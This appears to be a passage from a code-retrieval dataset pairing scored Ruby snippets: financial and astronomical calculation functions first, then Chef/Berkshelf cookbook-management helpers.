@subsequent_length_years * (year1totalcharges - (((mobilisation + (mobilisation * @framework_rates['M140']) + (mobilisation * @framework_rates['M141'])) * (@framework_rates['M142'] + 1))))\n end\n end", "title": "" }, { "docid": "31ba14a5fa3c633a6e1ef205d54a80ac", "score": "0.59927523", "text": "def return_25\n multiplier = @wizard_investment[\"timeframe\"] * RETURN_REP_MONTH\n amount = (multiplier * @wizard_investment[\"invested_amount\"] / 100)\n result = amount + @wizard_investment[\"invested_amount\"]\n result\n end", "title": "" }, { "docid": "20e7c73395c84009a5746d62373d64b5", "score": "0.5981328", "text": "def calculateAnnuity\n rate = @i /100.0\n @pmt*((1 - (1 / ((1 + rate)**@n))) / rate)\n end", "title": "" }, { "docid": "f84a5ac61f223d727488e369fe8c0e3a", "score": "0.5973525", "text": "def influencer_tweet_fee\n tweet_fee - (tweet_fee * borwin_fee)\n end", "title": "" }, { "docid": "ba7631cdb3be2bad3c4ba24526d6e632", "score": "0.59733444", "text": "def calc_ju_iers2003(t)\n return (0.599546497 + 52.9690962641 * t) % PI2\n rescue => e\n raise\n end", "title": "" }, { "docid": "17a03589f8b2b22443ac37219b5f08e0", "score": "0.59706014", "text": "def operating_funds\n \n amount * (pcnt_operating_assistance / 100.0)\n \n end", "title": "" }, { "docid": "68004e9da7afa7023eebee907b5f8279", "score": "0.59652305", "text": "def calc_ve_iers2003(t)\n return (3.176146697 + 1021.3285546211 * t) % PI2\n rescue => e\n raise\n end", "title": "" }, { "docid": "dba899d6d71134a37f7ffd219a7a47f1", "score": "0.5963597", "text": "def sin_evade_bonus\n 0\n end", "title": "" }, { "docid": "1c89833b62c483ef830faafe7f4d30a5", "score": "0.59632176", "text": "def annualized_rate_of_return(rate)\n\t\t\t(1+rate)**12 - 1\n\t\tend", "title": "" }, { "docid": "36265569721686f4c022c5d6b3d1d75a", "score": "0.5959387", "text": "def calc_interest(pv, r, n, y)\n\tr = r / 100 # Convert To Decimal\n\tfv = pv * (1 + (r / n))**(y * n)\n\treturn fv # Future Value\nend", "title": "" }, { "docid": "3b4f000ba2e9c517f9f1a034254c21cb", "score": "0.5956889", "text": "def nb_year(p0, percent, aug, p)\n converted_percent = percent.to_f/100 \n years = 0\n\n while p0 < p\n new_population = p0 + p0 * converted_percent + aug\n years += 1\n p0 = new_population.to_i\n end\n\n return years\nend", "title": "" }, { "docid": "9e4db52cdcfc556024ffc54f9ca700fa", "score": "0.59541464", "text": "def fully_leased_income\n self.dig_for_decimal(\"fullyLeasedIncome\")\n end", "title": "" }, { "docid": "86e5161be446cd739ffe30121ceb52a9", "score": "0.5949393", "text": "def onspot_amount\n\n\t\t## calculation \n\t\tif self.nationality != \"IN\"\n\t\t\tif self.acm # IS ACM Member\n\t\t\t\treturn \"0 USD\"\n\t\t\telse\n\t\t\t\treturn \"0 USD\"\n\t\t\tend\n\t\tend\n\n\t\tif self.acm # IS ACM Member\n\t\t\tif self.occupation == 1 # Student\n\t\t\t\treturn \"0 INR\"\n\t\t\telsif self.occupation == 2 # Industry\n\t\t\t\treturn \"0 INR\"\n\t\t\telsif self.occupation == 3 # Academia\n\t\t\t\treturn \"0 INR\"\n\n\t\t\tend\t\t\t\t\n\t\telse # IS Not ACM Member\n\t\t\tif self.occupation == 1 # Student\n\t\t\t\treturn \"0 INR\"\n\t\t\telsif self.occupation == 2 # Industry\n\t\t\t\treturn \"0 INR\"\n\t\t\telsif self.occupation == 3 # Academia\n\t\t\t\treturn \"0 INR\"\n\t\t\tend\t\t\t\t\n\t\tend\n\n\n\n\t\treturn \"Undefined\"\n\tend", "title": "" }, { "docid": "6c8e8472286bbbcd73e5655dac3699a0", "score": "0.594869", "text": "def insurance_cost(years)\n if pmi_required?\n years * 0.005 * required_mortgage\n else\n 0\n end\n end", "title": "" }, { "docid": "dd3a9c6ccfe36714459fb1de86a46325", "score": "0.5948017", "text": "def irs_standard_mileage_rate\n 0.54\n end", "title": "" }, { "docid": "2d774ba648b38b77018f7d42f66d1452", "score": "0.59467375", "text": "def calc_non_gst_inter_tax_amt\n 0\n end", "title": "" }, { "docid": "07cbb2ecbe39ab97603beb7b0bda1e03", "score": "0.59460324", "text": "def sen_per_km500 #hack into a db\n if transport_class == 'Z'\n 0\n else\n TravelClaimMileageRate.km_by_group(500, transport_class)*100\n end\n end", "title": "" }, { "docid": "ade71549a4628f08c5c5fdf1550ad78c", "score": "0.5944779", "text": "def one_hundred_eighty_degrees\n self.ninety_degrees\n self.ninety_degrees\n end", "title": "" }, { "docid": "9cffec231dd5edd791286d2375061c8b", "score": "0.59355456", "text": "def interest_rate\n interest_rate = (0.25)\n end", "title": "" }, { "docid": "1a031b8e7ae27e06ff168ab3bbe51de4", "score": "0.59341526", "text": "def huella_nutricional\n if (valor_calorico < 670)\n aux = 1\n elsif (valor_calorico < 830)\n aux = 2\n else\n aux = 3\n end\n\n if (emisiones_gases_anuales < 0.8)\n aux2 = 1\n elsif (emisiones_gases_anuales < 1.2)\n aux2 = 2\n else\n aux2 = 3\n end\n\n return ((aux+aux2)/2.0).round(2)\n end", "title": "" }, { "docid": "649efbc63f5811aa6b7dfe67b22092bd", "score": "0.5933507", "text": "def calc_ea_iers2003(t)\n return (1.753470314 + 628.3075849991 * t) % PI2\n rescue => e\n raise\n end", "title": "" }, { "docid": "5d9311188d3b9a2ace125463952d5dd4", "score": "0.59331936", "text": "def pmt(interest_rate,number_of_payments,present_value)\n\t\n\t((number_of_payments) * present_value) / (1 - ((1 + (interest_rate)) ^ (-number_of_payments)))\n\nend", "title": "" }, { "docid": "f6c1e4dd348c9c0febaea22796a011f1", "score": "0.5931783", "text": "def sin_weak_bonus; 1.0; end", "title": "" }, { "docid": "358400590f7fe62db6d62f4844f064db", "score": "0.5929991", "text": "def damt_subm\n amt_subm.to_f/100 rescue 0.0\n end", "title": "" }, { "docid": "9f017702998b82f07335e3abb3eca710", "score": "0.59283185", "text": "def admiral_cost(v)\n monthly_dip_points -v * 50 * 0.5 / 240.0\n end", "title": "" }, { "docid": "f111460d0e4fbc4960e8e203c84c7dc4", "score": "0.5923024", "text": "def claim_level_adjustment_amount(ins_eob)\n number_precision(ins_eob.late_filing_charge,:precision => 2)\n end", "title": "" }, { "docid": "c2f34c6981eb6f1aa584acfd36dc76ff", "score": "0.5920881", "text": "def solution\n sub_per_person + (percent * sub_per_person) + share_of_tax\n end", "title": "" }, { "docid": "2a75c136b02378be1af3106ce2954bc5", "score": "0.59147096", "text": "def sin_victory_bonus\n 0\n end", "title": "" }, { "docid": "f734dbbe86bbc53ca1923a0063135579", "score": "0.5913891", "text": "def add_monthly_interest\n\t\tif @balance > 0\n\t\t\t@balance *= 1.0003\n\t\t\t@balance.round(2)\n\t\tend\n\n\t\tif @creditdebt > 0\n\t\t\t@creditdebt *= 1.015\n\t\t\t@creditdebt.round(2)\n\t\tend\n\tend", "title": "" }, { "docid": "3375c78528e29d38f6b021883c59aea6", "score": "0.59095407", "text": "def monthly_mortgage(loan, monthly_interest, duration_in_months)\n loan * monthly_interest /\n (1 - (1 + monthly_interest)**(-1 * duration_in_months))\nend", "title": "" } ]
1c4e949864f7a1a8a544556456060f7a
Determine if any cookbooks were specified that aren't in our shelf.
[ { "docid": "662c0b4aeb27905acfedea71fa6fa9da", "score": "0.57690966", "text": "def validate_cookbook_names!(names)\n missing = names - lockfile.graph.locks.keys\n\n unless missing.empty?\n raise DependencyNotFound.new(missing)\n end\n end", "title": "" } ]
[ { "docid": "f765b02d778655bf5824871c34b95ff3", "score": "0.7645979", "text": "def has_cookbooks?\n !@dev_cookbooks.empty?\n end", "title": "" }, { "docid": "1c12e9f13a4ca2745bec021f8b7c2907", "score": "0.7284863", "text": "def cookbooks(filter = nil)\n skipped_cookbooks = []\n cookbooks = storage_path.children.collect do |path|\n begin\n Semverse::Version.split(File.basename(path).slice(CachedCookbook::DIRNAME_REGEXP, 2))\n rescue Semverse::InvalidVersionFormat\n # Skip cookbooks that were downloaded by an SCM location. These can not be considered\n # complete cookbooks.\n next\n end\n\n begin\n CachedCookbook.from_store_path(path)\n rescue Chef::Exceptions::MetadataNotValid\n # Skip cached cookbooks that do not have a name attribute.\n skipped_cookbooks << File.basename(path)\n next\n end\n end.compact\n\n if skipped_cookbooks.any?\n msg = \"Skipping cookbooks #{skipped_cookbooks}. Berkshelf can only interact \"\n msg << \"with cookbooks which have defined the `name` attribute in their metadata.rb. If you \"\n msg << \"are the maintainer of any of the above cookbooks, please add the name attribute to \"\n msg << \"your cookbook. If you are not the maintainer, please file an issue or report the lack \"\n msg << \"of a name attribute as a bug.\\n\\n\"\n msg << \"You can remove each cookbook in #{skipped_cookbooks} from the Berkshelf shelf \"\n msg << \"by using the `berks shelf uninstall` command:\\n\\n\"\n msg << \" $ berks shelf uninstall <name>\"\n Berkshelf.log.warn msg\n end\n\n return cookbooks unless filter\n\n cookbooks.select do |cookbook|\n filter === cookbook.cookbook_name\n end\n end", "title": "" }, { "docid": "2ab077f4f4d70eb91faa76805f726155", "score": "0.7037983", "text": "def validate_cookbook_names!(options = {})\n missing = (Array(options[:cookbooks]) - sources.map(&:name))\n unless missing.empty?\n raise Berkshelf::CookbookNotFound,\n \"Could not find cookbooks #{missing.collect{ |c| \"'#{c}'\" }.join(', ')} \" +\n \"in any of the sources. #{missing.size == 1 ? 'Is it' : 'Are they' } in your Berksfile?\"\n end\n end", "title": "" }, { "docid": "aec1a3ead38dcd3067130d71a81e7b04", "score": "0.69630116", "text": "def filter_cookbooks(cookbooks, options = {})\n unless options[\"cookbook\"].nil? || options[\"cookbook\"].empty?\n explicit = cookbooks.select { |cookbook| options[\"cookbook\"].include?(cookbook.cookbook_name) }\n\n unless options[\"ignore_dependencies\"]\n explicit.each do |cookbook|\n cookbook.dependencies.each do |name, version|\n explicit += cookbooks.select { |dependency| dependency.cookbook_name == name }\n end\n end\n end\n cookbooks = explicit.uniq\n end\n cookbooks\n end", "title": "" }, { "docid": "4180c2ebe3b99bac753566fda9b5bb83", "score": "0.69167614", "text": "def validate_cookbook_names!(options = {})\n missing = (Array(options[:cookbooks]) - dependencies.map(&:name))\n unless missing.empty?\n raise Berkshelf::CookbookNotFound,\n \"Could not find cookbook(s) #{missing.collect{ |c| \"'#{c}'\" }.join(', ')} \" +\n \"in any of the configured dependencies. #{missing.size == 1 ? 'Is it' : 'Are they' } in your Berksfile?\"\n end\n end", "title": "" }, { "docid": "b009a347d1f109f1077bf9b7c2a4edf5", "score": "0.6455098", "text": "def is_halite_cookbook?\n spec.dependencies.any? {|subdep| subdep.name == 'halite'} && !spec.metadata.include?('halite_ignore')\n end", "title": "" }, { "docid": "b009a347d1f109f1077bf9b7c2a4edf5", "score": "0.6455098", "text": "def is_halite_cookbook?\n spec.dependencies.any? {|subdep| subdep.name == 'halite'} && !spec.metadata.include?('halite_ignore')\n end", "title": "" }, { "docid": "759a5f53452f095bcc4a0e277da02662", "score": "0.64067054", "text": "def prepare_cookbooks\n if File.exist?(berksfile)\n resolve_with_berkshelf\n elsif File.exist?(cheffile)\n resolve_with_librarian\n elsif File.directory?(cookbooks_dir)\n cp_cookbooks\n elsif File.exist?(metadata_rb)\n cp_this_cookbook\n else\n make_fake_cookbook\n end\n\n filter_only_cookbook_files\n end", "title": "" }, { "docid": "7dd5bdaa5a55da1daf4306e6ca801ec5", "score": "0.6345649", "text": "def load_cookbooks_without_shadow_warning\n preload_cookbooks\n @loaders_by_name.each do |cookbook_name, _loaders|\n load_cookbook(cookbook_name)\n end\n @cookbooks_by_name\n end", "title": "" }, { "docid": "caaebce6945fe9a3eac1995b40a720ff", "score": "0.6342037", "text": "def installed?(cookbook_name, cookbook_version)\n !!(cookbooks[cookbook_name] &&\n cookbooks[cookbook_name].include?(cookbook_version))\n end", "title": "" }, { "docid": "e44af50ee01b2473546a5ef38c89ca96", "score": "0.62805825", "text": "def has_chef_metadata?(path)\n File.exist?(File.join(path, MB::CookbookMetadata::RUBY_FILENAME)) ||\n File.exist?(File.join(path, MB::CookbookMetadata::JSON_FILENAME))\n end", "title": "" }, { "docid": "fb20f8b4dc3ee342cef3721f502ee9a4", "score": "0.62374794", "text": "def cookbooks_paths\n @cookbooks_paths ||= begin\n paths = [\n @options[:cookbooks_path],\n Berkshelf.chef_config[:cookbook_path],\n 'cookbooks'\n ].flatten.compact.map{ |path| Pathname.new(File.expand_path(path)) }.uniq\n\n paths.select!{ |path| File.exists?(path) }\n Strainer.ui.debug \"Setting Sandbox#cookbooks_paths to #{paths.map(&:to_s)}\"\n paths\n end\n end", "title": "" }, { "docid": "c6ee8c035707b1c489137a346c9e86a7", "score": "0.6223922", "text": "def cookbooks_dependencies\n @cookbooks_dependencies ||= begin\n $stdout.puts 'Loading cookbook dependencies...'\n\n loaded_dependencies = Hash.new(false)\n\n dependencies = @cookbooks.dup\n\n dependencies.each do |cookbook|\n cookbook.metadata.dependencies.keys.each do |dependency_name|\n unless loaded_dependencies[dependency_name]\n dependencies << load_cookbook(dependency_name)\n loaded_dependencies[dependency_name] = true\n end\n end\n end\n end\n end", "title": "" }, { "docid": "27f80459eb37b64a528b4e4677954878", "score": "0.6202502", "text": "def unreachable_cookbook?(cookbook_name)\n cookbook_compiler.unreachable_cookbook?(cookbook_name)\n end", "title": "" }, { "docid": "c6094a4e144b6fe28c0e8370e228f1ee", "score": "0.6150569", "text": "def default_cookbook_path_empty?\n Chef::Config[:cookbook_path].nil? || Chef::Config[:cookbook_path].empty?\n end", "title": "" }, { "docid": "e997860eca80d52f039bf0cffc1e244c", "score": "0.6144369", "text": "def contingencies(cookbook)\n store.cookbooks.select { |c| c.dependencies.include?(cookbook.cookbook_name) }\n end", "title": "" }, { "docid": "0e7d97681e6de69523220bf4ca18fd8d", "score": "0.61383605", "text": "def recipe_conflicts?\n (recipe_conflicts.length > 0)\n end", "title": "" }, { "docid": "cb5a311f8ed4e5a6cb483270889f61f8", "score": "0.6115226", "text": "def check_cookbook_name\n fail 'Please specify the recipe name' if @opts[:recipe].nil?\n end", "title": "" }, { "docid": "472a1681e1c5c1b19adad12db11605b5", "score": "0.61128324", "text": "def prepare_cookbooks\n cp_cookbooks\n filter_only_cookbook_files\n end", "title": "" }, { "docid": "10d526782c58189b9e269930ff85f56c", "score": "0.6089264", "text": "def changed_cookbooks\n cookbooks = Set.new\n\n # Iterate throught the changed files to see if any belong to a cookbook\n changed_files.each do |changed_file|\n cookbooks << cookbook_from_member_file(changed_file)\n end\n\n # Check to see if the default workspace is a cookbook\n cookbooks << load_cookbook('/') if changed_files.length > 0\n\n # remove nil\n cookbooks.to_a.compact\n end", "title": "" }, { "docid": "2ce75abf249f256605436f8022484ef4", "score": "0.60862625", "text": "def cookbooks_and_dependencies\n loaded_dependencies = Hash.new(false)\n\n dependencies = @cookbooks.dup\n dependencies.each do |cookbook|\n loaded_dependencies[cookbook.cookbook_name] = true\n\n cookbook.metadata.dependencies.keys.each do |dependency_name|\n unless loaded_dependencies[dependency_name]\n dependencies << load_cookbook(dependency_name)\n loaded_dependencies[dependency_name] = true\n end\n end\n end\n end", "title": "" }, { "docid": "9d0273b726dd394d25fa634a7a6f2330", "score": "0.6078491", "text": "def matches_ignore?(recipe_name, cookbook_name)\n full_name = \"#{cookbook_name}::#{recipe_name}\"\n node[:minitest][:ignore_recipes].include? full_name\n end", "title": "" }, { "docid": "d6cb6680a8573e7abd67c1654b8bde68", "score": "0.6030688", "text": "def blacklisted?(cookbook)\n @config['blacklist'].include?(cookbook) ? true : false\n end", "title": "" }, { "docid": "512c8aa965d4186b76e84363efa67b4c", "score": "0.6000128", "text": "def cookbooks\n cookbooks = recipes.map { |r| [r.split('::')[0], {}] }.uniq.sort\n # Merge the raw cookbook information with the extra berkshelf options\n # passed to the fragment resources.\n Hash[cookbooks].merge(\n @packer.fragments.map(&:normalised_berkshelf).reduce({}, :merge)\n )\n end", "title": "" }, { "docid": "7770f280bac9deb4c168f7dff984710b", "score": "0.5964832", "text": "def use_custom_cookbooks\n data[:use_custom_cookbooks]\n end", "title": "" }, { "docid": "d3d7b911718232e90797362b14b83caf", "score": "0.59416395", "text": "def validate_files!(cookbook)\n path = cookbook.path.to_s\n\n files = Dir.glob(File.join(path, '**', '*.rb')).select do |f|\n parent = Pathname.new(path).dirname.to_s\n f.gsub(parent, '') =~ /[[:space:]]/\n end\n\n raise Berkshelf::InvalidCookbookFiles.new(cookbook, files) unless files.empty?\n end", "title": "" }, { "docid": "d3d7b911718232e90797362b14b83caf", "score": "0.59416395", "text": "def validate_files!(cookbook)\n path = cookbook.path.to_s\n\n files = Dir.glob(File.join(path, '**', '*.rb')).select do |f|\n parent = Pathname.new(path).dirname.to_s\n f.gsub(parent, '') =~ /[[:space:]]/\n end\n\n raise Berkshelf::InvalidCookbookFiles.new(cookbook, files) unless files.empty?\n end", "title": "" }, { "docid": "d298dc55b505e63ad18d11eb2fe45a50", "score": "0.5940078", "text": "def check_berks_bin!(env)\n if berks_bin.nil?\n raise BerkshelfNotFound\n end\n end", "title": "" }, { "docid": "846dbae82ebf1a6c74a18d29aa897a04", "score": "0.5926411", "text": "def validate_cookbook_exists\n unless cookbook_loader.cookbook_exists?(cookbook_name)\n fail Chef::Exceptions::CookbookNotFoundInRepo,\n \"Cannot find a cookbook named #{cookbook_name} at #{cookbook_path}\"\n end\n end", "title": "" }, { "docid": "a10b0516f9cb2f247295096569999a17", "score": "0.5884863", "text": "def recheck\n check(@last_cookbook_paths, @last_options)\n end", "title": "" }, { "docid": "4436066bfd216ccc49e8bf539da43598", "score": "0.58665746", "text": "def has_kitchen_tests?(cookbook_path)\n File.exist?(File.join(cookbook_path, '.kitchen.docker.yml'))\n end", "title": "" }, { "docid": "9a8b40ceccfeb7c36b1ba6193e67a126", "score": "0.5856347", "text": "def validate_files(cookbooks)\n Array(cookbooks).each do |cookbook|\n base, name = Pathname.new(cookbook.path.to_s).split\n\n files = Dir.glob(\"#{name}/**/*.rb\", base: base.to_s).select { |f| f =~ /[[:space:]]/ }\n\n raise InvalidCookbookFiles.new(cookbook, files) unless files.empty?\n end\n end", "title": "" }, { "docid": "3a6c96813ce848ef89f330779276421f", "score": "0.5852517", "text": "def only_cookbook_files\n glob = File.join(tmpbooks_dir, \"*\", \"{#{config[:cookbook_files_glob]}}\")\n\n Dir.glob(glob, File::FNM_DOTMATCH).\n select { |fn| File.file?(fn) && ! %w[. ..].include?(fn) }\n end", "title": "" }, { "docid": "0d0c416ee5be320b586299dcd723408e", "score": "0.5845944", "text": "def safe_recipes\n Recipe.all.select do |recipe|\n recipe.ingredients.none? do |ingredient|\n allergens.include?(ingredient)\n end\n end\n end", "title": "" }, { "docid": "e3d3ba626da0ae61365fc94a518f6291", "score": "0.58350134", "text": "def cookbooks\n @cookbooks ||= fetch_universe_data.each_with_object([]) do |cookbook_info, memo|\n name, versions = cookbook_info\n memo.concat versions.map { |version, attrs| build_cookbook(name, version, attrs) }\n end\n end", "title": "" }, { "docid": "b509e9e3acba131ebf9138212dad2ee1", "score": "0.58057797", "text": "def has_cookbook_file?(fn)\n run_context.has_cookbook_file_in_cookbook?(cookbook_name, fn)\n end", "title": "" }, { "docid": "127972ff75a9118d8a5e8415b83efbd1", "score": "0.5788299", "text": "def purge_cookbooks\n get_cookbooks.each do |name, info|\n info[\"versions\"].each do |version_info|\n rest.delete_rest(\"cookbooks/#{name}/#{version_info[\"version\"]}?purge=true\")\n end\n end\n end", "title": "" }, { "docid": "7737f6dedd16baed934b8ba7d637d192", "score": "0.5784574", "text": "def has_cookbook?(name, version)\n @cache.has_cookbook?(name, version)\n end", "title": "" }, { "docid": "cff8f5564f1222731d15c79798c3ed3f", "score": "0.57750714", "text": "def find(name, version = nil)\n cookbooks =\n if version\n [store.cookbook(name, version)].compact\n else\n store.cookbooks(name).sort\n end\n\n if cookbooks.empty?\n raise CookbookNotFound.new(name, version, \"in the Berkshelf shelf\")\n end\n\n cookbooks\n end", "title": "" }, { "docid": "f861f5fe1606cacffe3b3237352ad89a", "score": "0.57616466", "text": "def cookbook_repo?\n @_cookbook_repo ||= File.exists?('metadata.rb')\n end", "title": "" }, { "docid": "66fbbfd34bb4172586ec6e0a1692d51d", "score": "0.5757332", "text": "def safe_recipes\n Recipe.all.select do |recipe|\n (self.allergens & recipe.ingredient).empty?\n end\n end", "title": "" }, { "docid": "78d15398cf0c5822e6c940eb8bd41090", "score": "0.5717767", "text": "def cookbooks(context)\n context.cookbook_collection.collect { |k, v| v }\n end", "title": "" }, { "docid": "ee12f165a7ce88322546bd2ba96c075e", "score": "0.57118255", "text": "def safe_recipes\n my_ingredients = allergens.map {|allergen| allergen.ingredient}\n Recipe.all.select do |recipe|\n recipe.ingredients.none? do |ingredient|\n my_ingredients.include?(ingredient)\n end\n end\n end", "title": "" }, { "docid": "6121838465d78687a0b678817bc0a586", "score": "0.57038254", "text": "def excluded?(crates, crate)\n # `quickcheck` is required implicitly by `quickcheck_macros`\n crate == 'quickcheck' && crates.include?('quickcheck_macros')\nend", "title": "" }, { "docid": "e34093096f59bfe46573ac1065f01c38", "score": "0.568717", "text": "def filter_only_cookbook_files\n info(\"Removing non-cookbook files before transfer\")\n FileUtils.rm(all_files_in_cookbooks - only_cookbook_files)\n end", "title": "" }, { "docid": "5de0a66cec358f7dd7e23952d4d26496", "score": "0.5674062", "text": "def parse_cookbooks\n raw_cookbooks.each do |name, reqs|\n @requirements[name] = build_requirements_for(name, (reqs || {}))\n end\n end", "title": "" }, { "docid": "3485e3d7aecb587eeca4eb982e0560d4", "score": "0.5671913", "text": "def safe_recipes\n recipes.reject do |recipe|\n recipe.ingredients.any? { |ingredient| allergens.include?(ingredient)}\n end\n end", "title": "" }, { "docid": "67c98acf42f90979f0ba3ef5812c950a", "score": "0.5636643", "text": "def safe_recipes\n self.recipes.reject do |recipe|\n recipe.ingredients.any? {|ingre| self.allergens.include?(ingre)}\n end\n end", "title": "" }, { "docid": "eddb70f4259a4b7ade006d0079a2b7c6", "score": "0.5626074", "text": "def all_bins_failing?\n bins.none?(&:version)\n end", "title": "" }, { "docid": "a20b77fc1cc2db7e1bc50939238dc4da", "score": "0.56208795", "text": "def load_all_installed(options = {})\n options = options.reverse_merge(force: false)\n\n installed_cookbooks.each do |path|\n load_installed(path, options)\n end\n end", "title": "" }, { "docid": "eea755ec49a63681c15a9eff4715d684", "score": "0.56143624", "text": "def bootstrap_neccessary?\n !File.directory?( solr_home ) or !File.exists?( File.join( config_path, 'solrconfig.xml' ) )\n end", "title": "" }, { "docid": "d9955cee1ff66a235a1cd95986aaab4e", "score": "0.5607445", "text": "def safe_recipes\n ing = Recipe.all.each do |recipe|\n recipe.ingredients\n end\n !(ing & allergens).empty?\nend", "title": "" }, { "docid": "0a96245b9e730638db407f8de6e2a693", "score": "0.56035", "text": "def all_files_in_cookbooks\n Dir.glob(File.join(tmpbooks_dir, \"**/*\"), File::FNM_DOTMATCH).\n select { |fn| File.file?(fn) && ! %w[. ..].include?(fn) }\n end", "title": "" }, { "docid": "94b01a5f86535ce54847360b00c61c6e", "score": "0.5591965", "text": "def cookbook_exists?(name)\n rest = Berkshelf::CommunityREST.new\n rest.get(name).status == 200\n end", "title": "" }, { "docid": "6125960800417bae407c9835868157eb", "score": "0.5589406", "text": "def brew_files_requiring_meta\n brew_files.nonrpm.reject(&:is_docker?)\n end", "title": "" }, { "docid": "7d4d9339422243021e1375dfa0b5d079", "score": "0.5589183", "text": "def assert_cookbook_path_not_empty(run_context); end", "title": "" }, { "docid": "db2fac8faf31c3770646f619e9b7f0b3", "score": "0.55796367", "text": "def install_cookbooks_with_explicit_location\n inventory_requirements.each_with_explicit_location do |requirement|\n begin\n requirement_cookbook = local_store.cookbook_for_requirement(requirement)\n if requirement_cookbook\n Configuration.output.puts_yellow(\"cookbook already installed: #{requirement_cookbook}.\")\n next\n end\n \n requirement.fetch_cookbook do |cookbook|\n validate_cookbook_against_local_store(cookbook, requirement)\n add_artifact_to_graph(cookbook)\n add_cookbook_to_local_store(cookbook.path, requirement.to_hash)\n end\n rescue Ridley::Errors::MissingNameAttribute\n #handle Ridley::Errors::MissingNameAttribute and other cookbook specific errors by ignoring them.\n #hopefuly the next version will be valid. eg. https://git.corp.adobe.com/EchoSignCommunity/apt/blob/1.5.0/metadata.rb\n next \n end\n end\n end", "title": "" }, { "docid": "4f6da25cb00ba4559c315261d5f37783", "score": "0.55781233", "text": "def safe_recipes\n recipes.reject do |recipe|\n recipe.ingredients.any? do |ingredient|\n allergens.include?(ingredient)\n end\n end.uniq\n end", "title": "" }, { "docid": "a28ae2b46b0b22cabc1689cdd2c42c60", "score": "0.556516", "text": "def safe_recipes\n RecipeCard.all.select do |recipe_card|\n (recipe_card.recipe.ingredients.find do |ingredient|\n # binding.pry\n self.allergy_ingredients.include?(ingredient)\n end) == nil\n end\n # binding.pry\n end", "title": "" }, { "docid": "73e83a94ccbf038626245d91abd842cd", "score": "0.5559158", "text": "def safe_recipes\n #find my ingredients I'm allergic to\n allergens\n #compare two arrays: user.allergens & recipe.ingredients\n #for each recipe, see if allergy ingredient is included in recipe ingredient\n Recipe.all.select {|r| (r.ingredients & allergens).empty?}\n end", "title": "" }, { "docid": "4cff352ae16f687cd5a260569171840f", "score": "0.5555837", "text": "def berkshelf_enabled?(env)\n env[:machine].config.berkshelf.enabled\n end", "title": "" }, { "docid": "4cff352ae16f687cd5a260569171840f", "score": "0.5555837", "text": "def berkshelf_enabled?(env)\n env[:machine].config.berkshelf.enabled\n end", "title": "" }, { "docid": "b01e06561c6b5baedee44ac1ee475207", "score": "0.5554478", "text": "def has_cookbook?(name, version)\n unless cookbook = @cache[name.to_s]\n return false\n end\n\n cookbook.has_key?(version.to_s)\n end", "title": "" }, { "docid": "9470d018d95da6af26c0d42604f27204", "score": "0.5552735", "text": "def empty?\n version_control.empty? && overrides.empty?\n !each_package.find { true } &&\n !File.exist?(File.join(raw_local_dir, \"overrides.rb\")) &&\n !File.exist?(File.join(raw_local_dir, \"init.rb\"))\n end", "title": "" }, { "docid": "92050c92d714d4c43c42bfc827d9de30", "score": "0.55518407", "text": "def contains_recipe?(_recipeName)\r\n get_recipe(_recipeName).nil? ? false : true\r\n end", "title": "" }, { "docid": "7b2c3da9dc8856617fdb5157d3487ac7", "score": "0.5551285", "text": "def installed?\n !BIN_FILES.map { |f| binary_installed?(f) }.uniq.include?(false)\n end", "title": "" }, { "docid": "735160b04160b7fd599aa7b7e8c64e23", "score": "0.55481195", "text": "def loaded_fully_qualified_recipe?(cookbook, recipe)\n loaded_recipes_hash.key?(\"#{cookbook}::#{recipe}\")\n end", "title": "" }, { "docid": "4127c472441f8d4fc7f746acdd6087b0", "score": "0.55479646", "text": "def first_visit?\n self.cookbooks.empty?\n end", "title": "" }, { "docid": "10413bfda6c2131d3d0e7385c00333c8", "score": "0.5539902", "text": "def downloaded?\n !cached_cookbook.nil?\n end", "title": "" }, { "docid": "10413bfda6c2131d3d0e7385c00333c8", "score": "0.5539902", "text": "def downloaded?\n !cached_cookbook.nil?\n end", "title": "" }, { "docid": "864766d7f6954ce19b29c75ebca1873f", "score": "0.55306923", "text": "def check_for_recipes\n recipes = self.recipes.map(&:id)\n if recipes.any?\n self.errors.add :base, \"Cannot delete ingredient while dependant recipes exist.\"\n return false\n end\n end", "title": "" }, { "docid": "4057e8af61e8ed917e661b72c38062fe", "score": "0.55301726", "text": "def should_install_chef?\n @force || !@machine.guest.capability(:chef_installed, @product, @version)\n end", "title": "" }, { "docid": "41dc255e77360520a1aae5d2690d52f8", "score": "0.55270916", "text": "def validate_files!(cookbook)\n path = cookbook.path.to_s\n\n files = Dir.glob(File.join(path, '**', '*.rb')).select do |f|\n parent = Pathname.new(path).dirname.to_s\n f.gsub(parent, '') =~ /[[:space:]]/\n end\n\n raise InvalidCookbookFiles.new(cookbook, files) unless files.empty?\n end", "title": "" }, { "docid": "8d4ac8bb5148057fa85a6f92587a5778", "score": "0.552089", "text": "def chef_solo?(config)\n !provisioners(:chef_solo, config).empty?\n end", "title": "" }, { "docid": "a1b6cfe0e759bb3febcbc8f631e13129", "score": "0.552073", "text": "def casked?\n unscoped_name = new_resource.cask_name.split(\"/\").last\n shell_out!(\"#{homebrew_bin_path(new_resource.homebrew_path)} list --cask 2>/dev/null\",\n user: new_resource.owner,\n env: { \"HOME\" => ::Dir.home(new_resource.owner), \"USER\" => new_resource.owner },\n cwd: ::Dir.home(new_resource.owner)).stdout.split.include?(unscoped_name)\n end", "title": "" }, { "docid": "ca5ce8d8cb6f532882bd39e3789daa0c", "score": "0.55066365", "text": "def safe_recipes\n recipes.select do |r|\n r.ingredients.none? do |ingredient|\n allergy_ingredients.include?(ingredient)\n\n end\n end\n\n end", "title": "" }, { "docid": "8840477392a6061531edf263bc66bc72", "score": "0.54945165", "text": "def dictionaries_installed?\n File.exist? File.join(konjac_home, \".dictionaries\", \".git\")\n end", "title": "" }, { "docid": "0e525f4e2ef38556121e0953f2df826d", "score": "0.5492996", "text": "def knotx_installed?\n libs =\n if ::File.directory?(new_resource.lib_dir)\n !::Dir.glob(::File.join(new_resource.lib_dir, '*')).select do |f|\n ::File.file?(f) && f.match?(/knotx-.+\\.jar/)\n end.empty?\n else\n false\n end\n\n configs =\n if ::File.directory?(new_resource.conf_dir)\n !::Dir.glob(::File.join(new_resource.conf_dir, '*')).select do |f|\n ::File.file?(f) && f.match?(/.+\\.(conf|xml|json)/)\n end.empty?\n else\n false\n end\n\n checksum =\n if ::File.file?(new_resource.dist_checksum_path) &&\n !::File.read(new_resource.dist_checksum_path).empty? &&\n ::File.read(new_resource.dist_checksum_path).length == 32\n true\n else\n false\n end\n\n Chef::Log.debug(\"libs = #{libs}\")\n Chef::Log.debug(\"configs = #{configs}\")\n 